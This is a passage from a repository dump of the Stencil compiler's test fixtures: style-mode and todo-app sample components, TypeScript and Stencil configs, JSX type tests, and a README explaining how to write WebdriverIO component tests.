    "content": "import { Config } from '../../internal';\n\nexport const config: Config = {\n  namespace: 'perfbenchmark',\n  hashFileNames: false,\n  sourceMap: false,\n  outputTargets: [\n    {\n      type: 'www',\n      serviceWorker: null,\n      empty: true,\n    },\n  ],\n  enableCache: false,\n};\n"
  },
  {
    "path": "test/runtime-benchmark/tsconfig.json",
    "content": "{\n  \"compilerOptions\": {\n    \"allowSyntheticDefaultImports\": true,\n    \"experimentalDecorators\": true,\n    \"lib\": [\"dom\", \"es2017\"],\n    \"moduleResolution\": \"node\",\n    \"module\": \"esnext\",\n    \"target\": \"es2022\",\n    \"jsx\": \"react\",\n    \"jsxFactory\": \"h\",\n    \"jsxFragmentFactory\": \"Fragment\",\n    \"paths\": {\n      \"@stencil/core\": [\"../../internal\"],\n      \"@stencil/core/internal\": [\"../../internal\"]\n    }\n  },\n  \"include\": [\"src\"],\n  \"exclude\": [\"node_modules\"]\n}\n"
  },
  {
    "path": "test/style-modes/.npmrc",
    "content": "package-lock=false"
  },
  {
    "path": "test/style-modes/package.json",
    "content": "{\n  \"name\": \"@stencil/style-modes\",\n  \"private\": true,\n  \"scripts\": {\n    \"build\": \"node ../../bin/stencil build\",\n    \"start\": \"node ../../bin/stencil build --dev --watch --serve\",\n    \"start.prod\": \"node ../../bin/stencil build --watch --serve\"\n  },\n  \"dependencies\": {\n    \"@stencil/sass\": \"^1.3.2\",\n    \"npm\": \"^6.10.3\"\n  }\n}\n"
  },
  {
    "path": "test/style-modes/src/components/app-root/app-root.css",
    "content": "\napp-root {\n  display: block;\n  padding: 5px;\n  border: 5px solid blue;\n}"
  },
  {
    "path": "test/style-modes/src/components/app-root/app-root.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'app-root',\n  styleUrl: 'app-root.css',\n})\nexport class AppRoot {\n  render() {\n    return (\n      <div>\n        <h3>Shadow</h3>\n        <shadow-mode mode=\"buford\">Shadow Mode, attribute=\"buford\"</shadow-mode>\n        <shadow-mode mode=\"griff\">Shadow Mode, attribute=\"griff\"</shadow-mode>\n\n        <h3>Scoped</h3>\n        <scoped-mode mode=\"buford\">Scoped Mode, attribute=\"buford\"</scoped-mode>\n        <scoped-mode mode=\"griff\">Scoped Mode, attribute=\"griff\"</scoped-mode>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/style-modes/src/components/scoped-mode/scoped-mode.buford.scss",
    "content": "@import \"scoped-mode\";\n\n:host {\n  background: limegreen;\n}\n"
  },
  {
    "path": "test/style-modes/src/components/scoped-mode/scoped-mode.css",
    "content": "\n:host {\n  display: block;\n  padding: 20px;\n}\n\nsection {\n  padding: 30px;\n}\n"
  },
  {
    "path": "test/style-modes/src/components/scoped-mode/scoped-mode.griff.css",
    "content": "@import \"scoped-mode.css\";\n\n:host {\n  background: plum;\n}\n"
  },
  {
    "path": "test/style-modes/src/components/scoped-mode/scoped-mode.scss",
    "content": "\n:host {\n  display: block;\n  padding: 20px;\n}\n\nsection {\n  padding: 30px;\n}\n"
  },
  {
    "path": "test/style-modes/src/components/scoped-mode/scoped-mode.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n/**\n * @virtualProp { 'buford' | 'griff'} mode - This is the mode\n */\n@Component({\n  tag: 'scoped-mode',\n  scoped: true,\n  styleUrls: {\n    buford: 'scoped-mode.buford.scss',\n    griff: 'scoped-mode.griff.css',\n  },\n})\nexport class ScopedMode {\n  render() {\n    return (\n      <section>\n        <slot></slot>\n      </section>\n    );\n  }\n}\n"
  },
  {
    "path": "test/style-modes/src/components/shadow-mode/shadow-mode.buford.scss",
    "content": "@import \"shadow-mode\";\n\n:host {\n  background: black; /* _partial should override this */\n}\n\n@import \"../../scss/_partial\";"
  },
  {
    "path": "test/style-modes/src/components/shadow-mode/shadow-mode.css",
    "content": "\n:host {\n  display: block;\n  padding: 20px;\n}\n\nsection {\n  padding: 30px;\n}\n"
  },
  {
    "path": "test/style-modes/src/components/shadow-mode/shadow-mode.griff.css",
    "content": "@import \"shadow-mode.css\";\n\n:host {\n  background: red;\n}\n"
  },
  {
    "path": "test/style-modes/src/components/shadow-mode/shadow-mode.scss",
    "content": "\n:host {\n  display: block;\n  padding: 20px;\n}\n\nsection {\n  padding: 30px;\n}\n"
  },
  {
    "path": "test/style-modes/src/components/shadow-mode/shadow-mode.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n/**\n * @virtualProp { 'buford' | 'griff'} mode - This is the mode\n */\n@Component({\n  tag: 'shadow-mode',\n  shadow: true,\n  styleUrls: {\n    buford: 'shadow-mode.buford.scss',\n    griff: 'shadow-mode.griff.css',\n  },\n})\nexport class ShadowMode {\n  render() {\n    return (\n      <section>\n        <slot></slot>\n      </section>\n    );\n  }\n}\n"
  },
  {
    "path": "test/style-modes/src/components.d.ts",
    "content": "/* eslint-disable */\n/* tslint:disable */\n/**\n * This is an autogenerated file created by the Stencil compiler.\n * It contains typing information for all components that exist in this project.\n */\nimport { HTMLStencilElement, JSXBase } from \"@stencil/core/internal\";\nexport namespace Components {\n    interface AppRoot {\n    }\n    interface ScopedMode {\n        /**\n          * This is the mode\n         */\n        \"mode\"?: 'buford' | 'griff';\n    }\n    interface ShadowMode {\n        /**\n          * This is the mode\n         */\n        \"mode\"?: 'buford' | 'griff';\n    }\n}\ndeclare global {\n    interface HTMLAppRootElement extends Components.AppRoot, HTMLStencilElement {\n    }\n    var HTMLAppRootElement: {\n        prototype: HTMLAppRootElement;\n        new (): HTMLAppRootElement;\n    };\n    interface HTMLScopedModeElement extends Components.ScopedMode, HTMLStencilElement {\n    }\n    var HTMLScopedModeElement: {\n        prototype: HTMLScopedModeElement;\n        new (): HTMLScopedModeElement;\n    };\n    interface HTMLShadowModeElement extends Components.ShadowMode, HTMLStencilElement {\n    }\n    var HTMLShadowModeElement: {\n        prototype: HTMLShadowModeElement;\n        new (): HTMLShadowModeElement;\n    };\n    interface HTMLElementTagNameMap {\n        \"app-root\": HTMLAppRootElement;\n        \"scoped-mode\": HTMLScopedModeElement;\n        \"shadow-mode\": HTMLShadowModeElement;\n    }\n}\ndeclare namespace LocalJSX {\n    interface AppRoot {\n    }\n    interface ScopedMode {\n        /**\n          * This is the mode\n         */\n        \"mode\"?: 'buford' | 'griff';\n    }\n    interface ShadowMode {\n        /**\n          * This is the mode\n         */\n        \"mode\"?: 'buford' | 'griff';\n    }\n    interface IntrinsicElements {\n        \"app-root\": AppRoot;\n        \"scoped-mode\": ScopedMode;\n        \"shadow-mode\": ShadowMode;\n    }\n}\nexport { LocalJSX as JSX };\ndeclare module \"@stencil/core\" {\n    export namespace JSX {\n        interface IntrinsicElements {\n            \"app-root\": LocalJSX.AppRoot & JSXBase.HTMLAttributes<HTMLAppRootElement>;\n            \"scoped-mode\": LocalJSX.ScopedMode & JSXBase.HTMLAttributes<HTMLScopedModeElement>;\n            \"shadow-mode\": LocalJSX.ShadowMode & JSXBase.HTMLAttributes<HTMLShadowModeElement>;\n        }\n    }\n}\n"
  },
  {
    "path": "test/style-modes/src/custom-elements.html",
    "content": "<!DOCTYPE html>\n<html mode=\"griff\">\n  <head>\n    <meta charset=\"UTF-8\">\n    <script type=\"module\">\n      import { AppRoot, ScopedMode, ShadowMode } from './dist-module/index.js';\n      customElements.define('app-root', AppRoot);\n      customElements.define('scoped-mode', ScopedMode);\n      customElements.define('shadow-mode', ShadowMode);\n    </script>\n  </head>\n  <body>\n    <h1>Native Custom Elements</h1>\n    <app-root></app-root>\n  </body>\n</html>\n"
  },
  {
    "path": "test/style-modes/src/global.ts",
    "content": "import { setMode } from '@stencil/core';\n\nconst global = () => {\n  setMode(\n    (elm: any) => elm.mode || elm.getAttribute('mode') || document.documentElement.getAttribute('mode') || 'buford',\n  );\n};\nexport default global;\n"
  },
  {
    "path": "test/style-modes/src/index.html",
    "content": "<!DOCTYPE html>\n<html mode=\"griff\">\n  <head>\n    <meta charset=\"UTF-8\">\n    <script type=\"module\" src=\"/build/app.esm.js\"></script>\n    <script nomodule src=\"/build/app.js\"></script>\n  </head>\n  <body>\n    <h1>Lazy Loaded</h1>\n    <app-root></app-root>\n  </body>\n</html>\n"
  },
  {
    "path": "test/style-modes/src/scss/_partial.scss",
    "content": ":host {\n  background: yellow;\n}\n"
  },
  {
    "path": "test/style-modes/stencil.config.ts",
    "content": "import { Config } from '../../internal';\nimport { sass } from '@stencil/sass';\n\nexport const config: Config = {\n  hashFileNames: false,\n\n  outputTargets: [\n    {\n      type: 'www',\n      serviceWorker: null,\n    },\n  ],\n  globalScript: 'src/global.ts',\n  enableCache: false,\n  plugins: [sass()],\n};\n"
  },
  {
    "path": "test/style-modes/tsconfig.json",
    "content": "{\n  \"compilerOptions\": {\n    \"alwaysStrict\": true,\n    \"allowSyntheticDefaultImports\": true,\n    \"allowUnreachableCode\": false,\n    \"declaration\": true,\n    \"experimentalDecorators\": true,\n    \"forceConsistentCasingInFileNames\": true,\n    \"jsx\": \"react\",\n    \"jsxFactory\": \"h\",\n    \"lib\": [\n      \"dom\",\n      \"es2017\"\n    ],\n    \"module\": \"esnext\",\n    \"moduleResolution\": \"node\",\n    \"noImplicitAny\": true,\n    \"noImplicitReturns\": true,\n    \"noUnusedLocals\": true,\n    \"noUnusedParameters\": true,\n    \"target\": \"es2017\",\n    \"useUnknownInCatchVariables\": true,\n    \"baseUrl\": \".\",\n    \"paths\": {\n      \"@stencil/core\": [\n        \"../../internal\"\n      ],\n      \"@stencil/core/internal\": [\n        \"../../internal\"\n      ],\n      \"@stencil/core/testing\": [\n        \"../../testing\"\n      ]\n    }\n  },\n  \"include\": [\n    \"src\"\n  ]\n}\n"
  },
  {
    "path": "test/todo-app/.firebaserc",
    "content": "{\n  \"projects\": {\n    \"default\": \"todomvc-stencil-one\"\n  }\n}\n"
  },
  {
    "path": "test/todo-app/.gitignore",
    "content": "# Logs\nlogs\n*.log\nnpm-debug.log*\nyarn-debug.log*\nyarn-error.log*\nfirebase-debug.log*\n\n# Firebase cache\n.firebase/\n\n# Firebase config\n\n# Uncomment this if you'd like others to create their own Firebase project.\n# For a team working on the same Firebase project(s), it is recommended to leave\n# it commented so all members can deploy to the same project(s) in .firebaserc.\n# .firebaserc\n\n# Runtime data\npids\n*.pid\n*.seed\n*.pid.lock\n\n# Directory for instrumented libs generated by jscoverage/JSCover\nlib-cov\n\n# Coverage directory used by tools like istanbul\ncoverage\n\n# nyc test coverage\n.nyc_output\n\n# Grunt intermediate storage (http://gruntjs.com/creating-plugins#storing-task-files)\n.grunt\n\n# Bower dependency directory (https://bower.io/)\nbower_components\n\n# node-waf configuration\n.lock-wscript\n\n# Compiled binary addons (http://nodejs.org/api/addons.html)\nbuild/Release\n\n# Dependency directories\nnode_modules/\n\n# Optional npm cache directory\n.npm\n\n# Optional eslint cache\n.eslintcache\n\n# Optional REPL history\n.node_repl_history\n\n# Output of 'npm pack'\n*.tgz\n\n# Yarn Integrity file\n.yarn-integrity\n\n# dotenv environment variables file\n.env\n"
  },
  {
    "path": "test/todo-app/.npmrc",
    "content": "package-lock=true\n"
  },
  {
    "path": "test/todo-app/firebase.json",
    "content": "{\n  \"hosting\": {\n    \"public\": \"public\",\n    \"ignore\": [\n      \"firebase.json\",\n      \"**/.*\",\n      \"**/node_modules/**\"\n    ],\n    \"rewrites\": [\n      {\n        \"source\": \"**\",\n        \"destination\": \"/index.html\"\n      }\n    ]\n  }\n}\n"
  },
  {
    "path": "test/todo-app/package.json",
    "content": "{\n  \"name\": \"@stencil/todo-app\",\n  \"private\": true,\n  \"scripts\": {\n    \"build\": \"node ../../bin/stencil build\",\n    \"start\": \"node ../../bin/stencil build --dev --watch --serve\",\n    \"start.prod\": \"node ../../bin/stencil build --watch --serve\"\n  },\n  \"devDependencies\": {\n    \"todomvc-app-css\": \"latest\",\n    \"todomvc-common\": \"latest\",\n    \"workbox-build\": \"4.3.1\"\n  }\n}\n"
  },
  {
    "path": "test/todo-app/src/components/app-root/app-root.tsx",
    "content": "import { Component, State, h } from '@stencil/core';\n\n@Component({\n  tag: 'app-root',\n})\nexport class AppRoot {\n  @State() list: TodoItem[] = [];\n\n  render() {\n    const list = this.list;\n    const allChecked = list.every((item) => item.checked);\n    return (\n      <div>\n        <header class=\"header\">\n          <h1>Todos Stencil</h1>\n          <todo-input\n            onInputSubmit={(e: CustomEvent) => {\n              this.list = [...list, { text: e.detail }];\n            }}\n          ></todo-input>\n        </header>\n        <section class=\"main\" hidden={!list.length}>\n          <input\n            id=\"toggle-all\"\n            onInput={(e: InputEvent) => {\n              this.list = list.map((item) => {\n                item.checked = !!(e.target as HTMLInputElement).checked;\n                return item;\n              });\n            }}\n            class=\"toggle-all\"\n            type=\"checkbox\"\n            checked={allChecked}\n          />\n          <label htmlFor=\"toggle-all\" />\n          <ul class=\"todo-list\">\n            {list.map((item, index) => (\n              <todo-item\n                onItemCheck={() => {\n                  list[index] = Object.assign({}, item, { checked: !item.checked });\n                  this.list = list.slice();\n                }}\n                onItemRemove={() => {\n                  this.list = [...list.slice(0, index), ...list.slice(index + 1)];\n                }}\n                checked={item.checked}\n                text={item.text}\n              />\n            ))}\n          </ul>\n        </section>\n      </div>\n    );\n  }\n}\n\ninterface TodoItem {\n  text: string;\n  checked?: boolean;\n}\n"
  },
  {
    "path": "test/todo-app/src/components/todo-input/todo-input.tsx",
    "content": "import { Component, State, Event, EventEmitter, h } from '@stencil/core';\n\n@Component({\n  tag: 'todo-input',\n})\nexport class TodoInput {\n  @Event() inputSubmit: EventEmitter;\n  @State() value: string;\n\n  render() {\n    const value = this.value;\n    return (\n      <form\n        onSubmit={(ev) => {\n          if (value) {\n            ev.preventDefault();\n            this.inputSubmit.emit(value);\n            this.value = '';\n          }\n        }}\n      >\n        <input\n          class=\"new-todo\"\n          value={value}\n          type=\"text\"\n          placeholder=\"What needs to be done?\"\n          onInput={(ev: any) => (this.value = ev.target.value)}\n        />\n      </form>\n    );\n  }\n}\n"
  },
  {
    "path": "test/todo-app/src/components/todo-item/todo-item.tsx",
    "content": "import { Component, Prop, Event, EventEmitter, h } from '@stencil/core';\n\n@Component({\n  tag: 'todo-item',\n})\nexport class TodoItem {\n  @Prop({ attribute: null }) checked: boolean;\n  @Prop({ attribute: null }) text: string;\n  @Event() itemCheck: EventEmitter;\n  @Event() itemRemove: EventEmitter;\n\n  render() {\n    const { checked, text, itemCheck, itemRemove } = this;\n    return (\n      <li class={{ completed: checked }}>\n        <input class=\"toggle\" type=\"checkbox\" checked={checked} onChange={() => itemCheck.emit()} />\n        <label>{text}</label>\n        <button class=\"destroy\" onClick={() => itemRemove.emit()}></button>\n      </li>\n    );\n  }\n}\n"
  },
  {
    "path": "test/todo-app/src/components.d.ts",
    "content": "/* eslint-disable */\n/* tslint:disable */\n/**\n * This is an autogenerated file created by the Stencil compiler.\n * It contains typing information for all components that exist in this project.\n */\nimport { HTMLStencilElement, JSXBase } from \"@stencil/core/internal\";\nexport namespace Components {\n    interface AppRoot {\n    }\n    interface TodoInput {\n    }\n    interface TodoItem {\n        \"checked\": boolean;\n        \"text\": string;\n    }\n}\nexport interface TodoInputCustomEvent<T> extends CustomEvent<T> {\n    detail: T;\n    target: HTMLTodoInputElement;\n}\nexport interface TodoItemCustomEvent<T> extends CustomEvent<T> {\n    detail: T;\n    target: HTMLTodoItemElement;\n}\ndeclare global {\n    interface HTMLAppRootElement extends Components.AppRoot, HTMLStencilElement {\n    }\n    var HTMLAppRootElement: {\n        prototype: HTMLAppRootElement;\n        new (): HTMLAppRootElement;\n    };\n    interface HTMLTodoInputElementEventMap {\n        \"inputSubmit\": any;\n    }\n    interface HTMLTodoInputElement extends Components.TodoInput, HTMLStencilElement {\n        addEventListener<K extends keyof HTMLTodoInputElementEventMap>(type: K, listener: (this: HTMLTodoInputElement, ev: TodoInputCustomEvent<HTMLTodoInputElementEventMap[K]>) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | AddEventListenerOptions): void;\n        removeEventListener<K extends keyof HTMLTodoInputElementEventMap>(type: K, listener: (this: HTMLTodoInputElement, ev: TodoInputCustomEvent<HTMLTodoInputElementEventMap[K]>) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | EventListenerOptions): void;\n    }\n    var HTMLTodoInputElement: {\n        prototype: HTMLTodoInputElement;\n        new (): HTMLTodoInputElement;\n    };\n    interface HTMLTodoItemElementEventMap {\n        \"itemCheck\": any;\n        \"itemRemove\": any;\n    }\n    interface HTMLTodoItemElement extends Components.TodoItem, HTMLStencilElement {\n        addEventListener<K extends keyof HTMLTodoItemElementEventMap>(type: K, listener: (this: HTMLTodoItemElement, ev: TodoItemCustomEvent<HTMLTodoItemElementEventMap[K]>) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | AddEventListenerOptions): void;\n        removeEventListener<K extends keyof HTMLTodoItemElementEventMap>(type: K, listener: (this: HTMLTodoItemElement, ev: TodoItemCustomEvent<HTMLTodoItemElementEventMap[K]>) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | EventListenerOptions): void;\n    }\n    var HTMLTodoItemElement: {\n        prototype: HTMLTodoItemElement;\n        new (): HTMLTodoItemElement;\n    };\n    interface HTMLElementTagNameMap {\n        \"app-root\": HTMLAppRootElement;\n        \"todo-input\": HTMLTodoInputElement;\n        \"todo-item\": HTMLTodoItemElement;\n    }\n}\ndeclare namespace LocalJSX {\n    interface AppRoot {\n    }\n    interface TodoInput {\n        \"onInputSubmit\"?: (event: TodoInputCustomEvent<any>) => void;\n    }\n    interface TodoItem {\n        \"checked\"?: boolean;\n        \"onItemCheck\"?: (event: TodoItemCustomEvent<any>) => void;\n        \"onItemRemove\"?: (event: TodoItemCustomEvent<any>) => void;\n        \"text\"?: string;\n    }\n\n    interface TodoItemAttributes {\n        \"checked\": boolean;\n        \"text\": string;\n    }\n\n    interface IntrinsicElements {\n        \"app-root\": AppRoot;\n        \"todo-input\": TodoInput;\n        \"todo-item\": Omit<TodoItem, keyof TodoItemAttributes> & { [K in keyof TodoItem & keyof TodoItemAttributes]?: TodoItem[K] } & { [K in keyof TodoItem & keyof TodoItemAttributes as `attr:${K}`]?: TodoItemAttributes[K] } & { [K in keyof TodoItem & keyof TodoItemAttributes as `prop:${K}`]?: TodoItem[K] };\n    }\n}\nexport { LocalJSX as JSX };\ndeclare module \"@stencil/core\" {\n    export namespace JSX {\n        interface IntrinsicElements {\n            \"app-root\": LocalJSX.IntrinsicElements[\"app-root\"] & JSXBase.HTMLAttributes<HTMLAppRootElement>;\n            \"todo-input\": LocalJSX.IntrinsicElements[\"todo-input\"] & JSXBase.HTMLAttributes<HTMLTodoInputElement>;\n            \"todo-item\": LocalJSX.IntrinsicElements[\"todo-item\"] & JSXBase.HTMLAttributes<HTMLTodoItemElement>;\n        }\n    }\n}\n"
  },
  {
    "path": "test/todo-app/src/global/app.css",
    "content": "\n@import \"~todomvc-app-css/index.css\";\n\napp-root,\ntodo-input,\ntodo-item {\n  display: block;\n}"
  },
  {
    "path": "test/todo-app/src/index.html",
    "content": "<!DOCTYPE html>\n<html dir=\"ltr\" lang=\"en\">\n<head>\n  <meta charset=\"utf-8\">\n  <title>Stencil Todo</title>\n  <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=5.0\">\n  <meta name=\"theme-color\" content=\"#16161d\">\n  <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n  <meta http-equiv=\"x-ua-compatible\" content=\"IE=Edge\" />\n  <link href=\"/build/app.css\" rel=\"stylesheet\">\n\n  <script type=\"module\" src=\"/build/app.esm.js\"></script>\n  <script nomodule src=\"/build/app.js\"></script>\n\n</head>\n<body class=\"learn-bar\">\n  <app-root class=\"todoapp\"></app-root>\n</body>\n</html>"
  },
  {
    "path": "test/todo-app/stencil.config.ts",
    "content": "import { Config } from '../../internal';\n\nexport const config: Config = {\n  globalStyle: 'src/global/app.css',\n  outputTargets: [\n    {\n      type: 'www',\n      serviceWorker: null,\n    },\n  ],\n  hashFileNames: false,\n  hydratedFlag: null,\n  extras: {\n    scriptDataOpts: false,\n  },\n};\n"
  },
  {
    "path": "test/todo-app/tsconfig.json",
    "content": "{\n  \"compilerOptions\": {\n    \"alwaysStrict\": true,\n    \"allowSyntheticDefaultImports\": true,\n    \"allowUnreachableCode\": false,\n    \"declaration\": true,\n    \"experimentalDecorators\": true,\n    \"forceConsistentCasingInFileNames\": true,\n    \"jsx\": \"react\",\n    \"jsxFactory\": \"h\",\n    \"lib\": [\n      \"dom\",\n      \"es2017\"\n    ],\n    \"module\": \"esnext\",\n    \"moduleResolution\": \"node\",\n    \"noImplicitAny\": true,\n    \"noImplicitReturns\": true,\n    \"noUnusedLocals\": true,\n    \"noUnusedParameters\": true,\n    \"useUnknownInCatchVariables\": true,\n    \"target\": \"es2017\",\n    \"baseUrl\": \".\",\n    \"paths\": {\n      \"@stencil/core\": [\"../../internal\"],\n      \"@stencil/core/internal\": [\"../../internal\"]\n    }\n  },\n  \"include\": [\n    \"src\"\n  ]\n}\n"
  },
  {
    "path": "test/type-tests/README.md",
    "content": "# Stencil Type Tests\n\nThis directory is used to test whether Stencil correctly interprets JSX types in a basic Stencil project. Feel free to enhance the `test.spec.ts` file with your own scenario or create a new file.\n\nTo run these tests, run the following from the root of the Stencil project:\n\n```sh\nnpm run test.type-tests\n```"
  },
  {
    "path": "test/type-tests/test.spec.tsx",
    "content": "/// <reference types=\"../wdio/dist/types/components.d.ts\" />\n\nimport { h } from '@stencil/core';\n\nexport function TypeTestComponent() {\n  return (\n    <div>\n      <h1 ariaLabel=\"123\">Hello</h1>\n      <h1 ariaLabel={'123'}>Hello</h1>\n      {/* @ts-expect-error */}\n      <h1 ariaLabel={123}>Hello</h1>\n      <attribute-complex\n        // @ts-expect-error\n        nu0={'123'}\n        nu1={123}\n        nu2={123}\n        bool0={true}\n        bool1={true}\n        bool2={true}\n        str0={'123'}\n        str1={'123'}\n        str2={'123'}\n        obj={'123'}\n      ></attribute-complex>\n      <my-component\n        // @ts-expect-error\n        first={123}\n        last={'123'}\n        middle={'123'}\n      ></my-component>\n    </div>\n  );\n}\n"
  },
  {
    "path": "test/type-tests/tsconfig.json",
    "content": "{\n  \"compilerOptions\": {\n    \"noEmit\": true,\n    \"declaration\": false,\n    \"resolveJsonModule\": false,\n    \"experimentalDecorators\": true,\n    \"jsx\": \"react\",\n    \"jsxFactory\": \"h\",\n    \"jsxFragmentFactory\": \"h.Fragment\",\n    \"lib\": [\n      \"dom\",\n      \"ES2021\"\n    ],\n    \"module\": \"ES2022\",\n    \"moduleResolution\": \"bundler\",\n    \"forceConsistentCasingInFileNames\": true,\n    \"noImplicitAny\": false,\n    \"noImplicitReturns\": false,\n    \"noUnusedLocals\": false,\n    \"noUnusedParameters\": false,\n    \"alwaysStrict\": true,\n    \"allowSyntheticDefaultImports\": true,\n    \"allowUnreachableCode\": false,\n    \"useUnknownInCatchVariables\": true,\n    \"skipDefaultLibCheck\": true,\n    \"paths\": {\n      \"@stencil/core\": [\"../../internal\"],\n      \"@stencil/core/internal\": [\"../../internal\"],\n      \"test-sibling\": [\"./test-sibling\"]\n    }\n  },\n  \"include\": [\n    \".\",\n    \"../wdio/dist/types/components.d.ts\"\n  ]\n}\n"
  },
  {
    "path": "test/wdio/.gitignore",
    "content": "\ntest-components\ntest-components-no-external-runtime\nwww-global-script\nwww-prerender-script\nwww-invisible-prehydration\ntest-ts-target-output\ntest-components-autoloader\ndist-autoloader-comparison"
  },
  {
    "path": "test/wdio/README.md",
    "content": "# WebdriverIO Component Tests\n\nThis directory contains a set of Stencil component tests that verify various\nscenarios involving user interaction or rendering of a component.\n\nThe following scripts are available:\n\n- `npm run build`: builds all components as lazy-bundle\n- `npm run wdio`: runs the WebdriverIO tests\n- `npm test`: runs the build and wdio script sequentially\n\nYou can filter specific scenarios by using the `--spec` parameter, e.g.:\n\n```sh\nnpm run wdio -- --spec conditional-basic\n# runs test/wdio/conditional-basic/cmp.test.tsx\n```\n\nTo debug a test, it is recommended to start the test in \"watch\" mode:\n\n```sh\nnpm run wdio -- --spec conditional-basic --watch\n```\n\nThis allows to make changes to the test and have it re-run automatically. If you make changes to a test component you have to re-run the build script manually in another terminal window.\n\n## Test Setup\n\nAll components have to be compiled into a lazy-loaded Stencil component before executing the WebdriverIO test. WebdriverIO runs a set-up script (see `test/wdio/setup.ts`) to register all compiled custom components and have them available in your test. No additional imports are required.\n\n## Creating a new Test Suite\n\nWebdriverIO tests live in subdirectories within `test/wdio` alongside the\ncomponents that they test. This keeps everything colocated and tidy!\n\nTo start a new test suite, first create a new, descriptively-named directory:\n\n```sh\nmkdir test/wdio/my-excellent-new-test-suite\n```\n\nThese are descriptively named, with a title that is either a noun or verb that\nsuccinctly describes the test (`svg-class`, `slot-nested-order`,\n`slot-hide-content`, etc).\n\nAfter you've got a directory to work with, create a new Stencil component in\nthat directory which is a minimal example of the behavior you're trying to\ntest. The convention is to write this to a file called `cmp.tsx` within your\ndirectory. You can set the tag name and component class name to whatever you\nlike, but try to ensure that your naming is relevant to what is being tested\n(prefer `<slot-relocation>` over `<my-test-component-2>`).\n\n> [!IMPORTANT]\n> Your new component must have a unique tag name that does not collide with\n> another component's tag name!\n\nYou'll want to also create a new test file in that same directory. Your file\nmust end with `.test.tsx`. The convention is to take the filename used for the\ntest suite's main component and change the extension, so if our component was\nsaved in `cmp.tsx` we'd put our tests in `cmp.test.tsx`.\n\nOnce you've created your component and test file proceed to write some tests!\n\n> [!NOTE]\n> You'll need to run `npm run build` in `test/wdio` in order for your component\n> to be available in tests. If you run WebdriverIO tests from the root of the\n> project using `npm run test.wdio` this will be run automatically.\n\n## Writing Tests\n\nTo render a given component, use the `render` helper method from `@wdio/browser-runner/stencil`, e.g.:\n\n```tsx\nimport { render } from '@wdio/browser-runner/stencil';\n\nrender({\n  template: () => <my-component></my-component>,\n});\n```\n\nIt is advised to use the common `describe`/`it` syntax to structure your test. Hooks like `beforeEach` can be helpful to render the component into the page. A simple example would be:\n\n```tsx\nimport { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { $, expect } from '@wdio/globals';\n\ndescribe('attribute-basic', function () {\n  before(async () => {\n    render({\n      template: () => <attribute-basic-root></attribute-basic-root>,\n    });\n  });\n\n  it('button click rerenders', async () => {\n    await expect($('.single')).toHaveText('single');\n    // ...\n  });\n});\n```\n\n## Asynchronous Matcher\n\nIt is recommended to use WebdriverIO's async matcher for all state evaluations of your component. It allows WebdriverIO to rerun the expected condition multiple times until it either passes or fails due to a timeout. This prevents race conditions from happening. For example:\n\n```ts\n// 👎 element could not be rendered at given time nor have the correct text\nexpect(document.querySelector('.single').textContent).toBe('single');\n// 👍 allows WebdriverIO to fetch and assert the content of the component until condition is met\nawait expect($('.single')).toHaveText('single');\n```\n\n## Resources\n\nFor further information on how to write component tests with WebdriverIO, take a look at the official docs.\n\n- [WebdriverIO Component Testing](https://webdriver.io/docs/component-testing)\n- [WebdriverIO API](https://webdriver.io/docs/api)\n- [WebdriverIO Expect Matchers](https://webdriver.io/docs/api/expect-webdriverio)"
  },
  {
    "path": "test/wdio/async-rerender/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { $, expect } from '@wdio/globals';\n\ndescribe('asynchronous re-rendering', () => {\n  before(async () => {\n    render({\n      template: () => <async-rerender></async-rerender>,\n    });\n  });\n\n  it('button click re-renders', async () => {\n    await $('async-rerender .number').waitForExist();\n    const listItems1 = await $$('async-rerender .number');\n    await expect(listItems1.length).toBe(10);\n\n    const button = await $$('button');\n    await button[0].click();\n    await $('async-rerender .loaded').waitForExist();\n    const listItems2 = await $$('async-rerender .number');\n    await expect(listItems2.length).toBe(5);\n\n    await button[1].click();\n    await $('async-rerender .loaded').waitForExist();\n    const listItems3 = await $$('async-rerender .number');\n    await expect(listItems3.length).toBe(10);\n  });\n});\n"
  },
  {
    "path": "test/wdio/async-rerender/cmp.tsx",
